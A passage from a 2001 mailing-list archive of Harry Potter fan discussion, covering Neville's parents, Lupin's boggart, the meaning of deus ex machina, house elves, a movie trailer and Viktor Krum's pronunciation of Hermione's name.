off of 12 hours of work and my mind isn't what it normally is.

-Tracie
who is going to faint when her Visa bill comes it after her trip to 
Toys-R-Us

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From djtarb at aol.com  Sun Sep 30 00:26:15 2001
From: djtarb at aol.com (djtarb at aol.com)
Date: Sat, 29 Sep 2001 20:26:15 EDT
Subject: [HPforGrownups] Neville's Parents
Message-ID: <120.4cb45d0.28e7c0a7@aol.com>

No: HPFGUIDX 26916

In a message dated Sat, 29 Sep 2001  7:58:27 AM Eastern Daylight Time, Kelly Hurt <klhurt at yahoo.com> writes:

> Actually, to pick a nit here, I believe Neville's FATHER was an Auror. 
> I don't think we are ever explicitly told his mother was.  I think Mrs.
> Longbottom was tortured just to get her husband to talk.
> 

Correct...so, if Neville was there, what was to stop the DE's from torturing him as well as his mother?  And, of course, because Neville's dad didn't know where Voldemort was, he couldn't be broken down.  So Neville sees his mother being tortured, possibly is tortured himself, and maybe believes that his dad could save him but doesn't.  No wonder the poor kid is messed up!

Diane in Philly
(who really hopes Neville comes into his own and outclasses everyone else, maybe even Harry!)



From djtarb at aol.com  Sun Sep 30 00:34:57 2001
From: djtarb at aol.com (djtarb at aol.com)
Date: Sat, 29 Sep 2001 20:34:57 EDT
Subject: [HPforGrownups] Why is Lupin afraid of the floating silver orb?
Message-ID: <c0.1b70d6c6.28e7c2b2@aol.com>

No: HPFGUIDX 26917

In a message dated Sat, 29 Sep 2001 12:12:15 PM Eastern Daylight Time, usergoogol at yahoo.com writes:

> In Prisoner of Azkaban, the thing which Lupin is apparently afraid of is a floating silver orb.
> 
> > The legless spider had vanished. For a second, everyone looked
> > wildly around to see where it was. Then they saw a silvery-white
> > orb hanging in the air in front of Lupin, who said, "Riddikulus!"
> > almost lazily.
> 
> and then...
> 
> > "I wonder why Professor Lupin's frightened of crystal balls?" said
> > Lavender thoughtfully.
> 
> It really makes little sense, and I don't think it's explained at all during the concluding chapters, but I'll find out when I continue reading the books. What do YOU think, sirs?
> 

I thought it was the full moon, which he has good reason to fear.

Diane in Philly



From pegasus0580 at yahoo.ca  Sun Sep 30 01:56:24 2001
From: pegasus0580 at yahoo.ca (pegasus0580 at yahoo.ca)
Date: Sun, 30 Sep 2001 01:56:24 -0000
Subject: Why is Lupin afraid of the floating silver or b?
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2E25@MIAEXCH1>
Message-ID: <9p5u48+cs73@eGroups.com>

No: HPFGUIDX 26918

--- In HPforGrownups at y..., "Tandy, Heidi" <heidi.h.tandy.c92 at a...> 
wrote:
> At the Shieking Shack, lupin asks Hermione if she figured out he 
was a
> werewolf because the boggart turnd into the moon.
> 
> Which, of course, leads to the question - Why, exactly, is he 
afraid of the
> werewolf side of himself?
> 

I think he is afraid of the werewolf side of himself since he cannot 
control that part of himself--as he seems to control his emotions and 
actions as a human.  I also think he fears the fact that he could 
possibly hurt others without meaning it--he probably accidently did 
that before when he was young--and his werewolf side made him an 
outcast in the wizarding world.

Sharlene




From caliburncy at yahoo.com  Sun Sep 30 02:35:55 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sun, 30 Sep 2001 02:35:55 -0000
Subject: MOVIE: Heyman comment from EW
Message-ID: <9p60eb+7231@eGroups.com>

No: HPFGUIDX 26919

I was recently re-reading the Entertainment Weekly article on the 
movie (link below) and, as I had wondered the first time I read it, 
again began to wonder what producer David Heyman meant by the 
following comment.  I didn't bring it up the first time so I figured I 
might as well now.  How do you guys interpret this quote?

"There are certain things that will be a surprise that aren't fully 
evolved in the book. You think about Voldemort.  You look at what 
happens in the end. It's so deus ex machina."

Not so much the first sentence, but the way that in his stream of 
conciousness it seemed to lead him to the latter comments.  Further 
development about Voldemort would make sense with those rumors about 
the Godric's Hollow set and the resulting speculation that they might 
show some element of V.'s attack there.  But Heyman refers 
specifically to the end of the book, which makes me wonder.  What does 
everyone think?  Am I missing something glaringly obvious?  (It 
wouldn't be the first time.)

The link, for anyone that doesn't know, is:
http://www.ew.com/ew/report/0,6115,174458~1~0~ewtellshowpotter,00.html

-Luke




From animalsbaby_1999 at yahoo.com  Sun Sep 30 02:52:49 2001
From: animalsbaby_1999 at yahoo.com (laura hickman)
Date: Sat, 29 Sep 2001 19:52:49 -0700 (PDT)
Subject: [HPforGrownups] MOVIE: Heyman comment from EW
In-Reply-To: <9p60eb+7231@eGroups.com>
Message-ID: <20010930025249.89889.qmail@web20004.mail.yahoo.com>

No: HPFGUIDX 26920

I will admit, because of one of my jobs, (working at a
hotel) I am able to read at work and we get EW at
work, so probably about every other day to everyday, I
read the article over and over again, and I have been
thinking about that statement. However, if you
remember in the EW, Robbie Coltrain states that JKR
gives him some hidden secrets about Hagard, so maybe
JKR gave the crew of the film some secrets too, so
maybe they know more than we do about other films and
future books so giving in a bit that will show itself
fully in another movie or book would just be another
way to tease us.  I know according to the EW,
Speilberg "supposily" wanted to the movie as all the
movies or had other ideas, but teasing is not doing
book 1-4 as one movie the same thing.  

By the way, I'm glad you brought this up, because I've
been doing some soul searching about this myself!!!

Laura 
> 
> "There are certain things that will be a surprise
> that aren't fully 
> evolved in the book. You think about Voldemort.  You
> look at what 
> happens in the end. It's so deus ex machina."
> 
> Not so much the first sentence, but the way that in
> his stream of 
> conciousness it seemed to lead him to the latter
> comments.  Further 
> development about Voldemort would make sense with
> those rumors about 
> the Godric's Hollow set and the resulting
> speculation that they might 
> show some element of V.'s attack there.  But Heyman
> refers 
> specifically to the end of the book, which makes me
> wonder.  What does 
> everyone think?  Am I missing something glaringly
> obvious?  (It 
> wouldn't be the first time.)
> 
> The link, for anyone that doesn't know, is:
>
http://www.ew.com/ew/report/0,6115,174458~1~0~ewtellshowpotter,00.html
> 
> -Luke
> 
> 


__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com



From caliburncy at yahoo.com  Sun Sep 30 02:57:51 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sun, 30 Sep 2001 02:57:51 -0000
Subject: Harry's Fear is Fear?
In-Reply-To: <9p55mb+7evb@eGroups.com>
Message-ID: <9p61nf+kvtf@eGroups.com>

No: HPFGUIDX 26921

--- In HPforGrownups at y..., meboriqua at a... wrote:
> That raises a question for me.  Why would Harry's biggest fear be 
> fear itself?  I had trouble with that the first time I read PoA and 
> I still struggle with that now.  I always thought that Harry feared 
> the Dementors because of two things: 1) how they make him feel and 
> 2) the memories they bring him of his parents' murders.  That would 
> certainly terrify me.  How then, does fear itself become what Harry 
> is afraid of?  Is it because he is afraid of being weak and showing 
> fear can be seen as weak?  I definitely need help with this one.

Well, I guess this either implies that there is an inherent symbolic 
relationship between the Dementors and fear, or that Lupin perceives 
that Harry associates his fear of fear with the Dementors (see 
"Boggart" post).  Let's assume for the moment that it is the second, 
because I honestly can't imagine why the Dementors would inherently 
symbolize fear in particular when you could make a better case for 
them inherently symbolizing other emotions like depression (unless 
depression is rooted in fear, which is another topic altogether).  So 
if it's associated only in Harry's mind (and that's assuming Lupin 
perceives correctly) then that eliminates the need for other reasons 
for him to be afraid of the Dementors, even if other reasons do in 
fact exist (which I think they do, as you state).

In that case, I would assume that the reason someone like Harry's 
greatest fear would be fear itself is because fear is paralyzing and 
thus closely related to powerlessness/helplessness.  (Or maybe I'm 
just biased and saying that because impotence (no, not the sexual 
kind--another more descriptive word for powerless/helplessness) is my 
greatest fear.)  I really see Harry as someone that would not be able 
to tolerate being in a situation that he could not accept, but being 
unable to change it.  Harry is perhaps afraid that he will at some 
point allow his fear to overcome him and thus be unable to act.

Maybe.  That's the two second version anyway.  I had an infinitely 
cooler and better explained version waxing endlessly on the nature of 
fear and blah, blah, blah that I subsequently lost due to technical 
difficulties.

Anyway, I do think this is a telling observation on Lupin's part, at 
least in conclusion, but perhaps not in evidence.

-Luke




From SHENmagic at aol.com  Sun Sep 30 03:11:43 2001
From: SHENmagic at aol.com (SHENmagic at aol.com)
Date: Sat, 29 Sep 2001 23:11:43 EDT
Subject: Movie: query about 3rd Trailer
Message-ID: <122.527e122.28e7e76f@aol.com>

No: HPFGUIDX 26922

I seem to remember hearing that a third Movie trailer would be coming out, 
and Next door reports on viewing a TV trailer for the movie which sounds 
different then the two I've already downloaded in June--she reports scenes of 
"a group of people flying" and Hagrid WITH Fluffy --any one know a site where 
this "new trailer" can be viewed and downloaded?
Thanks, 
Aylihael
chronologically and technologically challenged, but ***OPTIMISTIC*** 



From jkusalavagemd at yahoo.com  Sun Sep 30 04:09:21 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Sun, 30 Sep 2001 04:09:21 -0000
Subject: MOVIE: Heyman comment from EW
In-Reply-To: <9p60eb+7231@eGroups.com>
Message-ID: <9p65th+npjl@eGroups.com>

No: HPFGUIDX 26923

--- In HPforGrownups at y..., caliburncy at y... wrote:
  How do you guys interpret this quote?
> 
> "There are certain things that will be a surprise that aren't fully 
> evolved in the book. You think about Voldemort.  You look at what 
> happens in the end. It's so deus ex machina."
> 
 Am I missing something glaringly obvious?  (It 
> wouldn't be the first time.)
> 
> -Luke

I doubt you are missing anything, Luke.  As much as I love PS/SS, the 
ending is a classic "deus ex machina."  Albus Dumbledore suddenly 
turns up and saves the day.  No explanation as to how he arrived at 
his decision and no explanation as to how Quirrell/Voldemort was 
defeated.  You might as well have lowered him down in a basket tied
to ropes, a la Aristophanes.  So Heywood is 100% correct.  Perhaps he 
is referring in the EW interview to there being some footage in the
movie depicting  how Dumbledore defeats Voldemort, and not just have 
Harry wake up like Dorothy in "The Wizard of Oz" to find that 
everything has turned out well.

Haggridd




From catherine at cator-manor.demon.co.uk  Sun Sep 30 07:20:01 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Sun, 30 Sep 2001 07:20:01 -0000
Subject: Why is Lupin afraid of the floating silver or b?
In-Reply-To: <9p5u48+cs73@eGroups.com>
Message-ID: <9p6h31+kufj@eGroups.com>

No: HPFGUIDX 26924

--- In HPforGrownups at y..., pegasus0580 at y... wrote:
> --- In HPforGrownups at y..., "Tandy, Heidi" <heidi.h.tandy.c92 at a...> 
> wrote:
> > At the Shieking Shack, lupin asks Hermione if she figured out he 
> was a
> > werewolf because the boggart turnd into the moon.
> > 
> > Which, of course, leads to the question - Why, exactly, is he 
> afraid of the
> > werewolf side of himself?
> > 
> 
> I think he is afraid of the werewolf side of himself since he 
cannot 
> control that part of himself--as he seems to control his emotions 
and 
> actions as a human.  I also think he fears the fact that he could 
> possibly hurt others without meaning it--he probably accidently did 
> that before when he was young--and his werewolf side made him an 
> outcast in the wizarding world.
> 
> Sharlene

Also, not just the fact that he transforms into a werewolf and can't 
control his emotions, but the fact that the very fact that he is a 
werewolf has caused him so much trouble in his life.  If it weren't 
for the kindness of people such as Dumbledore, Lupin would be 
completely ostracised.  As it is, he leaves Hogwarts at the end of 
PoA, jobless, very much on his own - all down to the fact that other 
wizards can't handle what he is.  (Where did he go?)

Therefore, I think the moon could be a metaphor of a metaphor - as 
being a werewolf symbolises for Lupin his loneliness as a person, due 
to this monthly transformation.

Catherine




From macloudt at yahoo.co.uk  Sun Sep 30 08:57:16 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Sun, 30 Sep 2001 08:57:16 -0000
Subject: Herm-oh-ninny
In-Reply-To: <9p5i6a+odh3@eGroups.com>
Message-ID: <9p6mpc+9bff@eGroups.com>

No: HPFGUIDX 26925

--- In HPforGrownups at y..., rcraigharman at h... wrote:
> Taking my lead from http://www.cs.ualberta.ca/~vladimir/bul-pron.txt
> 
> Bulg English
> Lett Phon    Examples       Explanation
> h    [h]     Hala, Hrian    Like [h] in Happy or [x] in Scottish 
LoCH
> e    [e]     morE, sEno     Like in bEtter
> r    [r]     Rob, bRat      Vibrating, somewhat like bRibe
> m    [m]     More, kaMyk
> a    [a]     mAjka          Like the first sound in [ai] (fIne)
> y    [schwa] YgYl, sYr
> n    [n]     Nar, koN
> i    [i]     nIt, tI        Like in bIt
> 
> (Bulgarian in transliteration)
> 
> Seems like Krum had all the needed phonemes to approximate Hermione
> better than he does, unlike your French students whose native 
English
> phoneme set doesn't distinguish ou, eu, and u....
> 
> ....Craig

Oh, dear, I'm being anal retentive again...Just because Bulgarian 
contains the *individual* sounds of Hermione's name doesn't mean that 
Krum is capable of pronouncing the sounds *in that particular 
order*.  The brain may recognize the letters and sounds, but the 
mouth just doesn't want to know if the individual is not used to 
pronouncing those sounds in those orders.  How many of us would be 
able to pronounce *Bulgarian* like a native?  Again, it's something 
that stumps adults but not kids.

Further follows a request from a brain-deficient Muggle...what 
does "deus ex machina" actually mean?

Cheers!

Mary Ann
(who is far too Freudian for her own good)




From shall at sfiweb.demon.co.uk  Sun Sep 30 09:13:56 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Sun, 30 Sep 2001 10:13:56 +0100
Subject: [HPforGrownups] Filk  Queries
In-Reply-To: <3BB660AB.A19445D3@wicca.net>
Message-ID: <NCBBLOIDFHFLKCOIHJBKMEEEDOAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 26926

Rita asked

>Hey, SUSAN!!! Whose used James's Invisibility Cloak to end Lily's
engagement to Lucius? It ought to be James, using her own cloak to
>reclaim his own girlfriend, but "It could hide from anyone // Except of
>course the Jack of Hearts." he wouldn't be trying to hide from himself.

James was under the invisibility cloak, but he wasn't doing anything nearly
as constructive as trying to break off Lily's engagement.  He was, simply,
trying not to show his face. By that stage he had realised that he had made
a seriously Bad Mistake, which he couldn't see any way to reclaim.

The charms are cast by one of the two girls (and I'm not saying which was
faster to the draw, and which spells the other one had planned) each of whom
is hiding in a railway carriage with her wand out.  Both were planning to
take decisive action based on what they believed their Tarot hands to have
told them to do.  One significance of Narcissa's hand being reversed,
incidentally, is that depending on what she or Lily thinks of the
Reversal/non-Reversal theory they can each interpret her hand in two
different ways, also. Also, the whole song's about reversal.  The nine of
swords, incidentally, was intended to mean poor decision making, but I'm not
saying whose, either.

Susan






From shall at sfiweb.demon.co.uk  Sun Sep 30 09:27:47 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Sun, 30 Sep 2001 10:27:47 +0100
Subject: [HPforGrownups] Re: End of PS/SS - Deus ex machina
In-Reply-To: <9p6mpc+9bff@eGroups.com>
Message-ID: <NCBBLOIDFHFLKCOIHJBKIEEFDOAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 26927

>Further follows a request from a brain-deficient Muggle...what
>does "deus ex machina" actually mean?


It refers to the custom of the Ancient Greek Theatre of having a god or
goddess appear at the end of the play in order to resolve all the
outstanding issues.  The standard of theatrical effects was very high, so
they were often swung in on cranes, descended in fiery chariots, etc etc and
the cranes, chariots etc were the "machines" (I once had to explain very
carefully that this phrase does not mean "making a god out of a machine" as
in "he makes a god out of that Ferrari, you know").

People subsequently got snobbish about deus ex machina endings because they
thought that their hero should battle it to a conclusion all on their own,
without the 7th Cavalry, or the eagles, or Aslan, or Dumbledore, showing up
in the final pages to pull the hero's chestnuts out of the fire.  Actually,
I don't think Dumbledore is a d.e.m because he has played a major role in
the story before (Greek d.e.ms made one appearance only) and he has plainly
been got out of the way by a subterfuge, which is a device of the enemy and
entitled to fail - ie, Dumbeldore can legitimately think "Funny, that
summons to the MOM, all very convenient, eh?  better check it out."
Furthermore, Harry specifically thinks of sending for back-up, so its all
part of the general plotting.  Fawkes in CoS may be rather more of d.e.m.

Incidentally, we've been talking about whether Neville got in the way of a
memory charm, but compared to the crucial things Voldemort forgets Neville
counts as Mr Eidetic.  I mean, PS/SS ("I forgot that a mother's sacrificial
bond was a powerful charm"), CoS ("Phoenix tears; healing properties - I
forgot") and GoF ("I forgot that saying "Leave him - he's mine" is one of
those devices of narrative casuality always prefiguring the hero's
miraculous escape").  Anyone want to suggest that the traumatic
circumstances of his becoming an orphan damaged Tom Riddle's memory?

Susan






From Zarleycat at aol.com  Sun Sep 30 10:12:37 2001
From: Zarleycat at aol.com (Zarleycat at aol.com)
Date: Sun, 30 Sep 2001 10:12:37 -0000
Subject: Harry's Fear is Fear?
In-Reply-To: <9p61nf+kvtf@eGroups.com>
Message-ID: <9p6r6l+kd7d@eGroups.com>

No: HPFGUIDX 26928

--- In HPforGrownups at y..., caliburncy at y... wrote:
> --- In HPforGrownups at y..., meboriqua at a... wrote:
> > That raises a question for me.  Why would Harry's biggest fear be 
> > fear itself?  I had trouble with that the first time I read PoA 
and 
> > I still struggle with that now.  I always thought that Harry 
feared 
> > the Dementors because of two things: 1) how they make him feel 
and 
> > 2) the memories they bring him of his parents' murders.  That 
would 
> > certainly terrify me.  How then, does fear itself become what 
Harry 
> > is afraid of?  Is it because he is afraid of being weak and 
showing 
> > fear can be seen as weak?  I definitely need help with this one.
> 
> Well, I guess this either implies that there is an inherent 
symbolic 
> relationship between the Dementors and fear, or that Lupin 
perceives 
> that Harry associates his fear of fear with the Dementors (see 
> "Boggart" post).  Let's assume for the moment that it is the second,

 
<snip>
 
> In that case, I would assume that the reason someone like Harry's 
> greatest fear would be fear itself is because fear is paralyzing 
and 
> thus closely related to powerlessness/helplessness.  

I really see Harry as someone that would not be able 
> to tolerate being in a situation that he could not accept, but 
being 
> unable to change it.  Harry is perhaps afraid that he will at some 
> point allow his fear to overcome him and thus be unable to act.

This explanation can be given additional creedence when you factor 
Harry's childhood into it.  Granted, I don't think he lived in fear 
at the Dursleys, except when dealing with Dudley and his awful 
friends, but he was certainly in a situation that was 
unpleasant/uncomfortable/unfriendly/loveless and he didn't have the 
power to change that.  I'd consider that a paralyzing situation, and 
I can see how associated feelings of helplessness could be reawakened 
by close exposure to a Dementor.


Marianne





From vheggie at yahoo.com  Sun Sep 30 12:28:19 2001
From: vheggie at yahoo.com (vheggie at yahoo.com)
Date: Sun, 30 Sep 2001 12:28:19 -0000
Subject: Horrible things to do with Hands of Glory...
In-Reply-To: <9p5m04+cvpq@eGroups.com>
Message-ID: <9p7353+88gl@eGroups.com>

No: HPFGUIDX 26929

[snip]
> Basically, it is formed by taking the hand of a hung man. Then, any 
remaining blood is drained, and it is tied up tightly at the end. 
Then, a candle is put in the hand (which may or may not be formed 
from the fat of the hung man) and then, when it is lit, it makes the 
user invisible. I'm guessing either Rowling decided that having HER 
hand of glory merely only give light to its owner was a better item, 
or that some superstitions believe that it does that.


The 'Hand of Glory' is just one of a hundred or so useful things you 
can do with an executed prisoner...the one I thought of first was the 
womens' custom of sneaking out at night to the hanging site and 
having their heads/stomachs stroked with the dead man's hand - a 
practice which was supposed to increase you fertility, or 
alternatively, to protect your unborn child from experiencing the 
same fate as the dead man's.
Nice.




From meboriqua at aol.com  Sun Sep 30 12:44:16 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sun, 30 Sep 2001 12:44:16 -0000
Subject: Harry's Fear is Fear?
In-Reply-To: <9p6r6l+kd7d@eGroups.com>
Message-ID: <9p7430+gfgn@eGroups.com>

No: HPFGUIDX 26930

--- In HPforGrownups at y..., Zarleycat at a... wrote:
> --- In HPforGrownups at y..., caliburncy at y... wrote:

> I really see Harry as someone that would not be able 
> > to tolerate being in a situation that he could not accept, but 
> being unable to change it.  Harry is perhaps afraid that he will at 
some point allow his fear to overcome him and thus be unable to act.
> 
> This explanation can be given additional creedence when you factor 
> Harry's childhood into it.  Granted, I don't think he lived in fear 
> at the Dursleys, except when dealing with Dudley and his awful 
> friends, but he was certainly in a situation that was 
> unpleasant/uncomfortable/unfriendly/loveless and he didn't have the 
> power to change that.  I'd consider that a paralyzing situation, and 
> I can see how associated feelings of helplessness could be 
reawakened by close exposure to a Dementor.>


Aha!  That makes sense.  It is true that when Harry lived with the 
Dursleys he had little, if any, control over his surroundings and how 
the Dursleys acted towards him.  However, Harry always had his own 
thoughts to keep him going - the wish someone would come and take him 
away, the knowledge the Dursleys weren't his "real" family, Dudley was 
a moron, and so on.  When the Dementors came around, though, Harry had 
no control over what went through his mind *and* his body's reaction 
to it.  I'd hate that too.

Even though Harry is quite humble, I think he has a good deal of 
pride.  Harry, as Luke said, likes to be able to be on top of things; 
he likes to know that he can act.  The Dementors not only took that 
away from him, but they made him look weak in front of his friends, 
too, or at least, what Harry perceives as weak.

--jenny from ravenclaw ********************************




From cmtorres67 at yahoo.com  Sun Sep 30 13:06:55 2001
From: cmtorres67 at yahoo.com (Celeste)
Date: Sun, 30 Sep 2001 13:06:55 -0000
Subject: Movie: query about 3rd Trailer
In-Reply-To: <122.527e122.28e7e76f@aol.com>
Message-ID: <9p75df+6c51@eGroups.com>

No: HPFGUIDX 26931

--- In HPforGrownups at y..., SHENmagic at a... wrote:
> I seem to remember hearing that a third Movie trailer would be 
coming out, 
> and Next door reports on viewing a TV trailer for the movie which 
sounds 
> different then the two I've already downloaded in June--she reports 
scenes of 
> "a group of people flying" and Hagrid WITH Fluffy --any one know a 
site where 
> this "new trailer" can be viewed and downloaded?
> Thanks, 
> Aylihael
> chronologically and technologically challenged, but ***OPTIMISTIC***

My husband went online yesterday looking for it for me and he 
couldn't find it. Has anyone found it online yet?
Celeste




From tabouli at unite.com.au  Sun Sep 30 15:17:46 2001
From: tabouli at unite.com.au (Tabouli)
Date: Mon, 1 Oct 2001 01:17:46 +1000
Subject: Back from Tasmania trip II
Message-ID: <00b101c149c3$25b42d60$7693aecb@price>

No: HPFGUIDX 26932

Just got back from my second trip to Hobart, this time for business (presenting a workshop on the structure and pronunciation of Asian names to staff in the University of Tasmania's Engineering faculty...)

Only three days away and already I have 20 emails (mostly from HP4GU and HP4GU-OT) in my inbox! Uurrrrgh.  Being me, I went straight from the airport taxi to the computer and have spent over an hour reading the lot.  I've snipped veritable torrents of stuff to comment on, but fatigue is overwhelming me, so I will have to, among other things, define and defend the honour of FLIRTIAC, muse on historical English linguistics and speculate further on homeschooling issues (OT list) tomorrow...

Tabouli.


[Non-text portions of this message have been removed]




From rowena_grunnion_ffitch at yahoo.com  Sun Sep 30 17:06:32 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sun, 30 Sep 2001 10:06:32 -0700 (PDT)
Subject: Gilderoy Lockhart
In-Reply-To: <NCBBLOIDFHFLKCOIHJBKIEEFDOAA.shall@sfiweb.demon.co.uk>
Message-ID: <20010930170632.23059.qmail@web20804.mail.yahoo.com>

No: HPFGUIDX 26933

   Am I the only one who thinks he's a much nicer
person without his memory? Cheerful, cooperative, even
modest. Maybe the doctors at St. Mungo's shouldn't try
to hard to bring his memory back.....

__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com



From rowena_grunnion_ffitch at yahoo.com  Sun Sep 30 17:40:50 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sun, 30 Sep 2001 10:40:50 -0700 (PDT)
Subject: [HPforGrownups] House Elves  (still)
In-Reply-To: <3BB660AB.A19445D3@wicca.net>
Message-ID: <20010930174051.30151.qmail@web20803.mail.yahoo.com>

No: HPFGUIDX 26934


--- Rita Winston <catlady at wicca.net> wrote:
> 
> Rowena Grunnion-ffitch wrote:
> 
> > They are Brownies, or rather the descendants
> > of Brownies who have been magically enslaved.
> > They don't need pay, or pensions or vacations,
> > they need the spells forcing them to continue
> > to work for particular Wizardly families removed. 
> 
> (elsewhere) 
> > This can and must be changed.
> 
> This is all very cool and I agree with you, and I
> expect Hermione would 
> agree with you if you told her "Offering them
> clothes they refuse to
> accept is irrelevant. Removing the spells that make
> them want to stay
> enslaved is what would be effective" instead of
> calling her names. 

    Did I call Hermione names? It's possible, having
grown up in 60s California I have a low tolerance
level for self-righteousness and a decidedly cynical
view of 'activists'. 
   Hermione seems hooked on the notion House elves
need pensions, vacation time, ect. and notably
determined to ignore the House elves' own testimony
about what they do and do not want. I agree with Rita,
get the compulsions spells removed first *then* we'll
see what House elves really want.

> HOWEVER, Hermione did just as much research as we
> did (rather more than
> I did, what with all that time she spent in the
> library) and SHE read
> wizarding books, not just Muggle books that get a
> lot of things wrong.

  HOWEVER, it seems quite likely Hermione would reject
her wizard sources as biased if they told her things
she didn't want to hear, (like House elves really *do*
prefer work to leisure and have little use for money).
She seems determined to regard them as human beings
with funny ears who want/need exactly the same things
we want and need.
   Look at Dobby, he likes being free and wearing
clothes but emphasizes he likes work just as much.
Brownies worked for humans because they wanted to, if
their hosts displeased or insulted them off they went.
Dobby is something of an anomaly wanting to be paid,
(pocket money rather than a living wage) but there
were Brownies who wanted and were given a new shirt
annually dispite the usual prejudice of their species
against clothes. Which only goes to show magical
creatures are individuals too.


__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com



From caliburncy at yahoo.com  Sun Sep 30 19:35:57 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sun, 30 Sep 2001 19:35:57 -0000
Subject: Movie: query about 3rd Trailer
In-Reply-To: <122.527e122.28e7e76f@aol.com>
Message-ID: <9p7s6t+cmqm@eGroups.com>

No: HPFGUIDX 26935

--- In HPforGrownups at y..., SHENmagic at a... wrote:
> any one know a site where this "new trailer" can be viewed and 
> downloaded?

What you have heard about can be found (albeit in extremely crappy 
quality) at Channel One:

http://www.channelone.com/video/play.html?clip=09/20010920_daily.ram&w
idth=240&height=180

You will need to cut and paste the link.  It's within a full 
broadcast, so you'll want to go to about the 7th tick mark to see the 
HP commercial that starts at the break.

It is different from the first and second trailers (and focuses mostly 
on the creatures).  I don't know if it's actually identical to the 
third theatrical trailer though.  It might just be a TV spot.  Or 
maybe this is what the WB schedule meant by a third trailer: TV spot, 
not theatrical?

Has anyone gone to see any of the WB movies released this Friday: Rock 
Star, Training Day, City By The Sea, or Hearts in Atlantis? (only 
answer this if it had the HP trailer in front, of course; otherwise 
it's off-topic)  Because if there is a third theatrical HP trailer, it 
should be in the front of one of those.  Speculation was leaning 
toward Hearts in Atlantis.  I'm assuming that if there actually was 
one it would have been reported by The Leaky Cauldron by now though.

If the official site would just get its act together and upload a high 
quality version of the TV spot/possible theatrical trailer, it would 
make life easier.

-Luke




From DaveH47 at mindspring.com  Sun Sep 30 20:15:35 2001
From: DaveH47 at mindspring.com (Dave Hardenbrook)
Date: Sun, 30 Sep 2001 13:15:35 -0700
Subject: [HPforGrownups] Gilderoy Lockhart
In-Reply-To: <20010930170632.23059.qmail@web20804.mail.yahoo.com>
References: <20010930170632.23059.qmail@web20804.mail.yahoo.com>
Message-ID: <8973668505.20010930131535@mindspring.com>

No: HPFGUIDX 26936


Sunday, September 30, 2001, 10:06:32 AM, you wrote:

RGF> Am I the only one who thinks he's a much nicer
RGF> person without his memory? Cheerful, cooperative, even
RGF> modest. Maybe the doctors at St. Mungo's shouldn't try
RGF> to hard to bring his memory back.....

I quite agree!  It's like when the evil Nome King
loses his memory in _The Magic of Oz_... He's much
nicer after that, if a bit dim... (He pats the
Cowardly Lion on the head and says, "Good doggie",
much to the Lion's indignantion.)

-- 
Dave




From frodoyoda at aol.com  Sun Sep 30 22:51:50 2001
From: frodoyoda at aol.com (frodoyoda at aol.com)
Date: Sun, 30 Sep 2001 22:51:50 -0000
Subject: Neville's memory charm
Message-ID: <9p87m6+bqus@eGroups.com>

No: HPFGUIDX 26937

> As for Neville's age, even if he is 2 years old instead of 1, 
there's
> still no good reason to modify his memory.  Even a 2 year old can't
> identify people, understand a crime, or remember anything later,
> unless the crime were committed by Teletubbies.

Also, if Neville HAD had his memory modified at a very early age, 
wouldn't his Grandmother and other relatives have attributed his 
seeming lack of magical ability at least in part to that instead of 
simply believing that he was a squib? It seems to me that a wizarding 
family so hung up on Neville's being a wizard that they would half-
drown him and hang him out a window would be looking for any 
hope/cure/excuse to avoid admitting that Neville was a squib.

Molly(who would very much like to see Neville become a powerful      
wizard)




From usergoogol at yahoo.com  Sun Sep 30 23:33:57 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Sun, 30 Sep 2001 23:33:57 -0000
Subject: What would you see in the Mirror of Erised/Boggart?
Message-ID: <9p8a55+24cn@eGroups.com>

No: HPFGUIDX 26938

Well?? Me, my Boggart would probably turn into a bomb or something. (My greatest fear is spontaneous catastrophic death. Like a bomb or tidal wave.)

What would I see in the Mirror of Erised? Well, probably I'd be about twenty-something (older than I am now, btw) and I'd be in an office writing, and I'd have all sorts of awards and pictures of friends behind me.

(I'm gonna start a database so that people can tell what they would see, without taking up much space. But I'd rather people reply directly to this post.)




From jfaulkne at eden.rutgers.edu  Sun Sep 30 23:42:46 2001
From: jfaulkne at eden.rutgers.edu (Jen Faulkner)
Date: Sun, 30 Sep 2001 19:42:46 -0400 (EDT)
Subject: [HPforGrownups] Re: Herm-oh-ninny
In-Reply-To: <9p6mpc+9bff@eGroups.com>
Message-ID: <Pine.GSO.4.21.0109301807490.618-100000@er2.rutgers.edu>

No: HPFGUIDX 26939

On Sun, 30 Sep 2001 macloudt at yahoo.co.uk wrote:

> --- In HPforGrownups at y..., rcraigharman at h... wrote:
<snip of various Bulgarian phonemes that could, perhaps, be used to
approximate English 'Hermione'>

> Oh, dear, I'm being anal retentive again...Just because Bulgarian 
> contains the *individual* sounds of Hermione's name doesn't mean that 
> Krum is capable of pronouncing the sounds *in that particular 
> order*.  The brain may recognize the letters and sounds, but the 
> mouth just doesn't want to know if the individual is not used to 
> pronouncing those sounds in those orders.  

In principle, Mary Ann, you're right, that phonological constraints of
one's native language can impede (adult) second language
acquisition.  But really, I don't think that adequately explains
Viktor's difficulties with Hermione's name.  Between his two
mispronunciations ("Hermy-own" and "Herm-own-ninny"), he actually does
get all of the sounds in there (if we assume that "hermy" segments to
"her-my", and that the "my" is actually [maj] vel sim., like the English
